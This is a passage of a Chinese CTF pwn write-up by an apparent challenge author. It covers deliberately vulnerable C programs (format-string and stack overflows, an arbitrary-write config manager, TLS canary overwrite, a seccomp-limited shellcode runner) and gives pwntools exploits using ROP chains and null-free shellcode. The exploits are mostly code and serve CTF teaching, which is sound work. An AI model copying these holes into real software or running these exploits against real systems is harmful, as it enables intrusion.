    if (connect(fd, (struct sockaddr*)&a, sizeof(a)) < 0) {
        perror("connect");
        close(fd);
        return -1;
    }

    return fd;
}

int main() {
    int choice;
    while (1) {
        menu();
        printf("Your choice: ");
        if (scanf("%d%*c", &choice) != 1) {
            printf("Invalid input.\n");
            continue;
        }

        if (choice == 1) {
            int fd = connect_to_server();
            if (fd < 0) continue;

            // 读欢迎消息
            char buf[BUF];
            int n = recv(fd, buf, BUF - 1, 0);
            if (n > 0) {
                buf[n] = '\0';
                printf("%s", buf);
            }

            char payload[0x100];
            printf("Enter format string payload: ");
            if (fgets(payload, sizeof(payload), stdin) == NULL) {
                close(fd);
                continue;
            }
            size_t len = strlen(payload);
            if (len > 0 && payload[len - 1] == '\n') payload[len - 1] = '\0';

            send(fd, payload, strlen(payload), 0);
            n = recv(fd, buf, BUF - 1, 0);
            if (n > 0) {
                printf("[Leaked data (hex)]: ");
                for (int i = 0; i < n; i++) {
                    printf("%02x ", (unsigned char)buf[i]);
                }
                printf("\n");
            } else {
                printf("[No response or connection closed]\n");
            }
            
            close(fd);
        } else if (choice == 2) {
            int fd = connect_to_server();
            if (fd < 0) continue;

            // 读欢迎消息
            char buf[BUF];
            int n = recv(fd, buf, BUF - 1, 0);
            if (n > 0) {
                buf[n] = '\0';
                printf("%s", buf);
            }

            printf("Enter your binary exploit (press Ctrl+D when done):\n");
            
            // 使用 read 代替 fgets,这样可以接收 \x00 字节
            char *exploit_data = malloc(BUF);
            size_t total_size = 0;
            
            // 读取数据直到遇到 EOF
            int bytes_read;
            while ((bytes_read = read(STDIN_FILENO, exploit_data + total_size, 1)) > 0) {
                total_size++;
                if (total_size >= BUF - 1) {
                    // 扩大缓冲区
                    char *new_ptr = realloc(exploit_data, total_size + BUF);
                    if (!new_ptr) {
                        printf("Memory allocation failed\n");
                        break;
                    }
                    exploit_data = new_ptr;
                }
                
                // 如果读到换行符则停止(或继续直到EOF)
                if (exploit_data[total_size-1] == '\n') {
                    break;  // 或者改为 continue; 继续读取直到EOF
                }
            }
            
            if (total_size > 0) {
                // 发送二进制数据(注意:这里使用实际读取的长度,而不是 strlen)
                send(fd, exploit_data, total_size, 0);
                
                // 接收响应
                n = recv(fd, buf, BUF - 1, 0);
                if (n > 0) {
                    printf("[Response (hex)]: ");
                    for (int i = 0; i < n; i++) {
                        printf("%02x ", (unsigned char)buf[i]);
                    }
                    printf("\n");
                } else {
                    printf("[No response or connection closed]\n");
                }
            }
            
            free(exploit_data);
            close(fd);
            break;  // 功能2结束后退出
        } else if (choice == 3) {
            printf("Goodbye!\n");
            break;
        } else {
            printf("Invalid choice.\n");
        }
    }

    return 0;
}

服务端的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#include <fcntl.h>

#define PORT 8080
#define BACKLOG 10
#define VULN_SIZE 0x400   // 明确定义 vuln 大小

void copy(char *vuln, int n, int client_fd);

void handle_client(int client_fd) {
    char buffer[0x20];  // 小缓冲区,用于 memcpy 目标
    char vuln[VULN_SIZE]; // 把 vuln 放在 handle_client 栈上(更容易溢出)
    

    memset(buffer, 0, sizeof(buffer));
    memset(vuln, 0, sizeof(vuln));

    const char *welcome_msg = "Welcome to this game!\n";
    send(client_fd, welcome_msg, strlen(welcome_msg), 0);

    ssize_t n = recv(client_fd, vuln, sizeof(vuln) - 1, 0);
    if (n > 0) {
        vuln[n] = '\0';
        copy(vuln, (int)n, client_fd); 

        const char *response = "Data processed. Goodbye.\n";
        send(client_fd, response, strlen(response), 0);
    }

    close(client_fd);
}

void copy(char *vuln, int n, int client_fd) {
    char buffer[0x20];
    memcpy(buffer, vuln, n);  // 溢出点保留!
    dprintf(client_fd, buffer);      // 原生格式化字符串漏洞触发点
    dprintf(client_fd, "\n");        // 保持交互清晰

}
void backdoor() {
    // 直接读取flag文件并写入到可能的文件描述符
    int fd = open("./flag", O_RDONLY);
    if (fd < 0) {
        // 尝试写入到常见的文件描述符
        write(3, "Flag file not found\n", 20);
        write(4, "Flag file not found\n", 20);
        write(1, "Flag file not found\n", 20);
        return;
    }
    
    char flag[100];
    ssize_t n = read(fd, flag, sizeof(flag) - 1);
    if (n > 0) {
        flag[n] = '\0';
        // 尝试写入到多个可能的文件描述符,其中一个应该是客户端连接
        write(3, flag, n);
        write(4, flag, n);
        write(1, flag, n);
    }
    close(fd);
}
int main() {
    signal(SIGCHLD, SIG_IGN);

    int s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) {
        perror("socket failed");
        exit(EXIT_FAILURE);
    }

    int opt = 1;
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        perror("bind failed");
        exit(EXIT_FAILURE);
    }

    if (listen(s, BACKLOG) < 0) {
        perror("listen failed");
        exit(EXIT_FAILURE);
    }

    printf("Server listening on port %d\n", PORT);

    while (1) {
        int client_fd = accept(s, NULL, NULL);
        if (client_fd < 0) {
            perror("accept failed");
            continue;
        }

        if (fork() == 0) {
            close(s); // 子进程不需要监听套接字
            handle_client(client_fd);
            exit(0);
        }
        // 父进程不再关闭 client_fd,因为子进程会处理它
        // close(client_fd); // 移除这一行
    }
}

exp

这里调试不行,socker套接字没有弄到位

from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.os = 'linux'
p = process('./server')

io = process('./client')
pd = b'1'
io.sendline(pd)
pd = b'%12$p'
io.sendline(pd)
io.recvuntil(b'[Leaked data (hex)]: ')
hex_str = io.recvline().strip().decode()

raw_bytes = bytes.fromhex(hex_str.replace(' ', ''))
original_str = raw_bytes.decode('ascii', errors='ignore').rstrip('\x00\x0a\x0d\x7f')

print(f"Original string: {original_str}")

# 提取0x后的部分
match = re.search(r'0x([0-9a-fA-F]+)', original_str)
if match:
    canary_hex = match.group(1)
    print(f"Extracted hex: {canary_hex}")
    
    # 确保是16位(8字节),右对齐补0
    canary_hex = canary_hex.rjust(16, '0')[-16:]  # 取最后16位
    print(f"Padded hex: {canary_hex}")
    canary = int(canary_hex, 16)
    print(f"Canary value: {hex(canary)}")
    

#pause()
io.recvuntil(b'3. Exit')
gdb.attach(p, 'set follow-fork-mode child\nb *0x4014C3\n')
pd = b'2'
io.sendline(pd)
#payload = b'a' * 0x88 
payload = b'a' * 0x28 + p64(canary) + p64(0xdeadbeef) + p64(0x4015A6)
io.sendline(payload)
io.interactive()

pwn7:myedit_machine

这个算是我的得意之作了,任意地址写加上一个低8字节保护,主要是考察的对于指针的理解

当时出这个题目出了3天,很早之前了,需要静态编译去做。

题目源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <sys/syscall.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stddef.h>
#include <unistd.h>
#include <sys/mman.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <stdint.h>

#define MAX_SIZE 512
#define CONFIG_SIZE 256


struct sock_filter filter[] = {
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,arch))),
    BPF_JUMP(BPF_JMP| BPF_JEQ,AUDIT_ARCH_X86_64,0,3),
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS,(offsetof(struct seccomp_data,nr))),
    BPF_JUMP(BPF_JMP| BPF_JEQ,__NR_execve,1,0),
    BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_ALLOW),
    BPF_STMT(BPF_RET| BPF_K,SECCOMP_RET_KILL),
};

struct sock_fprog prog = {
    .len = sizeof(filter) / sizeof(filter[0]),
    .filter = filter,
};


void sandbox(){
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
        perror("prctl(NO_NEW_PRIVS)");
        exit(1);
    }
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) < 0) {
        perror("prctl(SECCOMP)");
        exit(1);
    }
}



void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void print_menu(){
    printf("\n=== Configuration Manager ===\n");
    printf("1. Edit config\n");
    printf("2. View config\n");
    printf("3. Exit\n");
    printf("4. Exchange\n");
    printf("5. return return return!");
    printf("Choice: ");
}

char **ptr;
void handle_edit(char *target_buffer, char **heap_backup) {
    char buf[MAX_SIZE];
    char buf_backup[MAX_SIZE];
    
    printf("enter new config data: ");
    if(fgets(buf, sizeof(buf), stdin)) {
        size_t len = strcspn(buf, "\n");
        buf[len] = 0;
        
        // 将用户输入复制到target_buffer
        strncpy(target_buffer, buf, strlen(buf));
        target_buffer[strlen(buf)] = 0;
    }
    
    printf("Do you want to backup to heap? (y/n): ");
    char choice[2];
    if(fgets(choice, sizeof(choice), stdin)) {
        puts("you have no choice,hhhhh");
        choice[0] = 'y';
        choice[strcspn(choice, "\n")] = 0;
        
        if (choice[0] == 'y' || choice[0] == 'Y') {
            // 将用户输入的内容复制到buf_backup
            strncpy(buf_backup, buf, strlen(buf));
            
            void *fake_addr;
            if (strlen(buf) >= 0x100) {
                // 从buf_backup[0x100]开始的8字节内容作为地址值
                // 方法1: 直接类型转换指针
                fake_addr = *(void **)&buf_backup[0x100];
                *heap_backup = (char *)fake_addr; 
                ptr = *(void **)&buf_backup[0];  // 这样ptr就指向我们输入的内容
            } else {
                // 如果输入不够长,从栈上获取地址
                puts("what off do you want");
                unsigned int off;
                scanf("%d",&off);
                
                // 修改后的操作:将buf_backup[off]位置的8字节内容作为地址值
                // 方法1: 直接类型转换指针(推荐)
                fake_addr = *(void **)&buf_backup[off];
                
                // 或者方法2: 使用memcpy(你原来的方法实际上是正确的)
                // memcpy(&fake_addr, &buf_backup[off], sizeof(void*));
                
                *heap_backup = (char *)fake_addr;  //这样错位应该是栈地址
                ptr = *(void **)&buf_backup[0];
            }
            
            printf("give you high_quality vuln\n");
            printf("ptr now points to: %p\n", ptr);
            printf("heap_backup now points to: %p\n", *heap_backup);
            puts("but nothing happens");
        } else {
            printf("give you low_quality vuln\n");
            puts("but nothing happens");
        }
    }
}


void handle_view(char *data){
    printf("\n--- File Content ---\n");
    write(1, data, 8);
    printf("\n--------------------\n");
}

void setup_buffers(char* ptr_heap)
{
    char *ptr;
    ptr = malloc(0x200);
    memset(ptr, 0, 0x200);
    ptr_heap = ptr;

}


char *heap_backup = NULL; //给出一个溢出影响不到的指针
int global_sign = 100;

int main(){
    unsigned int choice;
    init();
    sandbox();
    char config_data[CONFIG_SIZE];  //这里有越界,但是不能做到自己改变自我空间,需要一个指针
    char *heap_ptr = NULL;  //存储在生命周期更长的变量上,这个变量是一个烟雾弹,即便可以被溢出影响
    void *addr;
    
    setup_buffers(heap_ptr);
    while (1) {
        print_menu();
        
        if (scanf("%d", &choice) != 1) {
            break;
        }
        getchar(); 
        switch (choice) {
            case 1:
                handle_edit(config_data, &heap_backup);
                break;
            case 2:
                memcpy(&addr, config_data, sizeof(void*));
                if (addr == NULL) {
                    puts("Address is NULL!");
                    return;
                }
                handle_view((char *)addr);
                break;
            case 3:
                printf("Saving and exiting. Goodbye.\n");
                if (heap_ptr) {
                    puts("what are you ding???");
                    free(heap_ptr);
                }
                return 0;
            case 4:
                ptr = heap_backup;              //这里的话没有开始的8字节的保护
                memcpy(ptr,config_data,strlen(config_data));  //这里通过指针,将其内容拷贝到可控制的区域,实现的话类似于改地址之后直接去写
                size_t actual_length = strlen(config_data) ;
                char *end_pos = (char *)ptr + actual_length;  // 数据结束位置
                ptr = (void *)((uintptr_t)end_pos & ~7UL);    // 向下8字节对齐*/

                puts("give you a choice to set zero");
                char choice[2];
                if(fgets(choice, sizeof(choice), stdin)) {
                    choice[strcspn(choice, "\n")] = 0;
                    if (choice[0] == 'y' || choice[0] == 'Y') {
                        int n;
                        scanf("%d",&n);
                        ptr[n] = 0;
                    }
                }
                global_sign --;
                break;
            case 5:
                puts("return return return!");
                return 0;
            default:
                printf("Invalid option.\n");
        }
    }
    puts("???what are you doing???");
    exit(0);
}

exp

from pwn import *
#io = process('./myedit_revenge')
io = process('./myedit_machine')
context(log_level="debug",os="linux",arch="amd64")
#context.terminal = ['tmux', 'splitw', '-h']
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: io.sendline(x)
s = lambda x: io.send(x)
rt = lambda x: io.recvuntil(x)
ru = lambda x: u64(io.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(io.recv(x),16)
it = lambda : io.interactive()

pie = 0
def dbg(* addrs):                                                       
    pay = ''                                                                    
    if pie:                                                                     
        for i in addrs:                                                         
            pay += 'b *$rebase( ' + str(i) + ')' + '\n'                         
    else:                                                                       
        for i in addrs:                                                          
            pay += 'b *' + str(i) + '\n'                                        
    gdb.attach(io,pay) 

def cmd(choice):
    rt("Choice: ")
    sl(str(choice))

def edit(content,off=304):
    cmd(1)
    rt("enter new config data: ")
    sl(content)
    rt("Do you want to backup to heap? (y/n): ")
    sl('y')
    if(len(content) < 0x100):
        rt("what off do you want")
        sl(str(off))

def exchange():
    cmd(4)
    rt("give you a choice to set zero")
    sl(b'n')
def set(n = -1):
    cmd(4)
    rt("give you a choice to set zero")
    sl(b'y')
    sl(str(n))
#dbg(0x401F09)  #write
#dbg(0x4020A8)  #change_over
#dbg(0x401D22)  


environ = 0x4F32D0

edit(p64(environ))
cmd(2)
rt(b'\n')
rt(b'\n')
stack = ru(6)-0x1f8#rbp
pr(stack)

edit(b'a'*0xf8+b'@'*8+p64(stack))  #这里确实是写上了,是下面这个交互修改了
exchange()
#dbg(0x401CDB)#choice 1

syscall = 0x0000000000423c36
pop_rdi = 0x00000000004029cf
ret = 0x000000000040101a
pop_rsi = 0x000000000040aa3e 
pop_rax_rdx_rbx = 0x00000000004aa50a 
pop_rdx_rbx = 0x00000000004aa50b 
open = 0x45F090
read = 0x45F1C0
write = 0x45F260

def ed(pd):
    edit(pd)
    set()

def pay(n,date):
    pd = b'a'*(0xc8-n+0x28)+p64(date)  #这里不小心错位了,这里需要额外抬高8字节
    ed(pd)
#total 25*8 = 200 = 0xc8

pd = b'a'*0xc8+b'@'*8+b'////flag'  #pay(0x20,flag)
edit(pd)
set(0)
pd = b'a'*0xc8+b'@'*8+b'////flag'  #pay(0x20,flag)
edit(pd)
set(-2)

pd = b'a'*0xc0+b'@'*8+p64(write) #pay(0x20,flag)
edit(pd)
set(-1)

pd = b'a'*0xb8 + p64(write) #pay(0x28,write)
edit(pd)
set(-1)

#dbg(0x401cdb)#choice_1


pay(0x30,0)
pay(0x38,0x20)
pay(0x40,pop_rdx_rbx)
pay(0x48,stack+0xa00)
pay(0x50,pop_rsi)
pay(0x58,1)
pay(0x60,pop_rdi)
pay(0x68,read)
pay(0x70,0)
pay(0x78,0x20)
pay(0x80,pop_rdx_rbx)
pay(0x88,stack+0xa00)
pay(0x90,pop_rsi)
pay(0x98,3)
pay(0xa0,pop_rdi)   
pay(0xa8,open)
pay(0xb0,0)
pay(0xb8,0)
pay(0xc0,pop_rdx_rbx)
pay(0xc8,0)
pay(0xd0,pop_rsi)
pay(0xd8,stack+0xc8+8)
edit(b'a'*0x10+p64(pop_rdi))
set(-1)

edit(b'a'*0x8+p64(ret))
exchange()
#dbg(0x4021d0)  #choice_4
dbg(0x40231a)  #return
#pay(0xe8,ret)

cmd(5)


io.interactive()

结尾

终于出完了,细节的话我也还是有很多不会的,以后还得去学学

pwn8:ez_tls

以后有机会出个堆题,任意地址覆写这个canary存储的成员的数值

TLS 的核心特性是:变量在每个线程中都有自己的独立实例

源码是根据ida逆推的,假如exp不通的话可以调整一下填充物的大小

题目源码

这里的tls的地址是通过get_tls_cat_area()这个函数获取得到原来

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>

// 模拟TLS区域的全局缓冲区
__thread char tls_cat_buffer[512];  // 每个线程都有自己的TLS区域副本

// 获取TLS区域地址的辅助函数
char* get_tls_cat_area() {
    return &tls_cat_buffer[0];
}

// 设置函数 - 初始化程序环境
void setup(int argc, const char **argv, const char **envp) {
    // 初始化TLS区域
    memset(tls_cat_buffer, 0, sizeof(tls_cat_buffer));
}

// 线程处理函数 - 处理猫咪命名和互动
void *thread_handler(void *arg) {
    // 获取TLS区域地址
    char* tls_address = get_tls_cat_area();
    
    // 显示TLS区域地址信息
    printf("The cat is from TLS area at: %p. ps: hyw...\n", tls_address);
    
    // 提示用户为猫咪命名
    printf("Give it a name now: ");
    read(0, tls_address, 0x200u);  // 从标准输入读取猫咪名字到TLS区域
    
    // 确认名字
    puts("That name sounds really nice.");
    
    // 与猫咪互动 - 局部缓冲区
    char local_buffer[40];
    printf("Now, play with your new cat: ");
    gets(local_buffer);  // 这里存在缓冲区溢出风险
    
    return NULL;
}

int main(int argc, const char **argv, const char **envp) {
    pthread_t thread;
    
    // 初始化程序环境
    setup(argc, argv, envp);
    
    // 显示欢迎信息
    puts("You get a new cat. Meow~");
    
    // 创建线程处理猫咪命名和互动
    if (pthread_create(&thread, NULL, thread_handler, NULL)) {
        fprintf(stderr, "Error creating thread\n");
        return 1;
    }
    
    // 等待线程结束
    pthread_join(thread, NULL);
    
    return 0;
}

这里的话是其他的出题人出的了,也是有很多值得学习的地方

pthread_create 函数用于创建一个新线程,并指定线程的起始例程和参数。其原型如下:

int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);

参数说明:

  • pthread_t \*thread:指向线程标识符的指针,用于存储创建的线程的ID。
  • const pthread_attr_t \*attr:线程属性指针,可以用于设置线程属性。如果传入 NULL,则使用默认属性。
  • void \*(\*start_routine)(void \*):指向线程起始例程的指针,即线程开始执行的函数。
  • void \*arg:传递给起始例程的参数。

创建线程后,主线程调用 pthread_join,等待新线程结束。

我的web出了一个多进程,这个tls出了一个多线程

int __fastcall main(int argc, const char **argv, const char **envp)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("You get a new cat. Meow~");
  if ( pthread_create(newthread, 0, thread_handler, 0) )
    return 1;
  pthread_join(newthread[0], 0);
  return 0;
}

一开始我以为是大量写,后来发现就是单纯的直接往tls里写,我出难了好像。。。

这个需要对canary有一定的理解

void *__fastcall thread_handler(void *a1)
{
  _BYTE v2[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("The cat is from %p. ps: hyw...\n", (const void *)(__readfsqword(0) - 288));
  printf("Give it a name now: ");
  read(0, (void *)(__readfsqword(0) - 288), 0x200u);
  puts("That name sounds really nice.");
  printf("Now, play with your new cat: ");
  gets(v2);
  return 0;
}

exp

我们可以通过覆盖线程canary来绕过canary,但是创建线程程序只能运行一次,而且每个线程的canary是独立的,也就意味着我们只能一条ROP链达到泄露地址执行one_gadget

一个是canary的取值比较是用栈上的和tls存储的进行比较,其他的特殊的地方的就没有了

这个是一个tls不能随便的改,我们需要维护下面这个tls结构体

tcbhead_t结构体

typedef struct {
    void *tcb;            /* 指向线程控制块(TCB)的指针 */
    dtv_t *dtv;           /* 线程特定数据的指针 */
    void *self;           /* 指向线程描述符的指针 */
    int multiple_threads; /* 标识是否有多个线程 */
    int gscope_flag;      /* 全局作用域标志 */
    uintptr_t sysinfo;    /* 系统信息 */
    uintptr_t stack_guard;/* 堆栈保护 */
    uintptr_t pointer_guard; /* 指针保护 */
​
    /* 其他可能的字段... */
} tcbhead_t;

struct pthread结构体

#include <stddef.h> // 为了使用 size_t
​
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct {
    // 定义线程控制块头部结构体
    // 可以根据实际情况进行定义
    // 例如:线程ID、状态信息等
    int thread_id;
    // 其他相关信息
} tcbhead_t;
​
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP
    /* This overlaps the TCB as used for TLS without threads (see tls.h).  */
    tcbhead_t header; // 可能与TLS相关的头部信息
#else
    struct {
        // 更复杂的结构体定义
        // 可能包含与TLS相关的更多详细信息
        // ...
    } header;
#endif
​
    /* Extra padding for alignment and potential future use */
    void *__padding[24]; // 填充数组,用于对齐和可能的未来扩展
};
​
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#io = process('./vuln')
#gdb.attach(io,"set follow-fork-mode child\n")
io = gdb.debug('./vuln','b *0x4012B6\nc')
io.recvuntil(b'The cat is from ')
tls = int(io.recv(14),16)+0x120
print(hex(tls))
pd = b'a'*0x120
pd += p64(tls)*3
pd += p64(1)
pd += p64(0)
pd += b'a'*8
io.recvuntil(b"Give it a name now: ")
io.send(pd)
pd = b'a'*0x38
pd += p64(0x401016)
pd += p64(0x40122E)
io.recvuntil("Now, play with your new cat: ")
io.sendline(pd)
io.interactive()

pwn9:ez_sc

这个题目禁用的部分不进行还原了,编译之后自己注意去做就行

题目源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <seccomp.h>
#include <errno.h>

// 初始化函数 - 设置程序环境
void init(int argc, const char **argv, const char **envp) {
    // 关闭标准输出缓冲
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    
    // 其他初始化操作
    printf("Initializing sandbox environment...\n");
}


int main(int argc, const char **argv, const char **envp) {
    ssize_t bytes_read;
    int i;
    void *buf;
    
    // 初始化程序环境
    init(argc, argv, envp);
    
    // 尝试在固定地址映射内存页
    buf = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, 
               MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    
    // 如果固定地址失败,则分配任意地址
    if (buf == MAP_FAILED) {
        buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, 
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    }
    
    // 如果两次都失败,退出程序
    if (buf == MAP_FAILED) {
        fprintf(stderr, "Failed to allocate memory\n");
        exit(1);
    }
    
    printf("Memory allocated at: %p\n", buf);
    
    // 从标准输入读取最多0x3C(60)字节到分配的内存
    bytes_read = read(0, buf, 0x3C);
    if (bytes_read < 0) {
        fprintf(stderr, "Read failed\n");
        exit(1);
    }
    
    printf("Read %ld bytes from stdin\n", bytes_read);
    
    // 检查读取的数据中是否包含空字节(NULL byte)
    for (i = 0; i < bytes_read; i++) {
        if (((char*)buf)[i] == 0) {
            puts("No null bytes allowed!");
            exit(1);
        }
    }
    
    printf("No null bytes found, proceeding to execute shellcode...\n");
    
    
    // 将读取的数据作为函数执行(执行shellcode)
    ((void(*)())buf)();
    
    return 0;
}

这个shellcode开启了沙盒,不能有空字符,而且限制了字节

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ssize_t v4; // [rsp+8h] [rbp-18h]
  int i; // [rsp+14h] [rbp-Ch]
  void *buf; // [rsp+18h] [rbp-8h]

  init(argc, argv, envp);
  buf = mmap((void *)0x1337000, 0x1000u, 7, 50, -1, 0);
  if ( buf == (void *)-1LL )
    buf = mmap(0, 0x1000u, 7, 34, -1, 0);
  if ( buf == (void *)-1LL )
    exit(1);
  v4 = read(0, buf, 0x3Cu);
  if ( v4 < 0 )
    exit(1);
  for ( i = 0; v4 > i; ++i )
  {
    if ( !*((_BYTE *)buf + i) )
    {
      puts("No null bytes allowed!");
      exit(1);
    }
  }
  install_seccomp();
  ((void (*)(void))buf)();
  return 0;
}

dump一下可以看看保护

这个组合的方式很多,我们选一个内核管道做做

 ⚡ root@LAPTOP-G0KOPP7R  /mnt/d/Users/Lenovo/Desktop/新春杯/其他题目/ez_sc  seccomp-tools dump ./vuln                                                                            
aa
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0008
 0004: 0x15 0x03 0x00 0x00000101  if (A == openat) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x20 0x00 0x00 0x00000000  A = sys_number
 0010: 0x15 0x04 0x00 0x00000003  if (A == close) goto 0015
 0011: 0x15 0x03 0x00 0x00000004  if (A == stat) goto 0015
 0012: 0x15 0x02 0x00 0x0000000b  if (A == munmap) goto 0015
 0013: 0x15 0x01 0x00 0x00000166  if (A == 0x166) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

exp

这里手搓了一个内核管道做的,00字节禁用,可以用其他的汇编指令进行等效替代

这里首先是打开文件,然后通过pipe分配管道,之后pipe参数地址会有对应的数字,splice之后控制好用1进行标准输出即可。

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./vuln')
gdb.attach(io,'b *$rebase(0x14E2)')
#read
sd = '''
xor rax,rax
xor rdi,rdi
mov rsi,0x1337001
mov dx,0x666
syscall
'''
sd1 = asm(sd)
io.send(sd1)
#openat2
sd = '''
xor rdi,rdi
sub edi,0x64
push 0x67616c66
mov rsi,rsp
xor r9,r9
mov [rsp+8],r9
mov [rsp+0x10],r9
mov [rsp+0x18],r9
add rsp,0x8
mov rdx,rsp
xor r10,r10
add r10,0x18
xor rax,rax
add ax,0x1b5
syscall
'''
#pipe
sd += '''
xor rax,rax
mov al,0x16
lea rdi,[rsp+0x8]
xor rsi,rsi
syscall
'''
#splice
sd += '''
xor rax,rax
add ax,0x113
xor rdi,rdi
mov dil,0x3
xor rsi,rsi
mov rdx,QWORD PTR [rsp+0xc]
xor r10,r10
xor r8,r8
add r8,0x30
xor r9,r9
syscall
'''
#splice
sd += '''
xor rax,rax
add ax,0x113
mov dil,0x4
xor rsi,rsi
xor rdx,rdx
add rdx,0x1
xor r10,r10
xor r8,r8
add r8,0x30
xor r9,r9
syscall
'''
sd2 = asm(sd)
sd2 = b'a'*0x12+sd2
pause()
io.send(sd2)
io.interactive()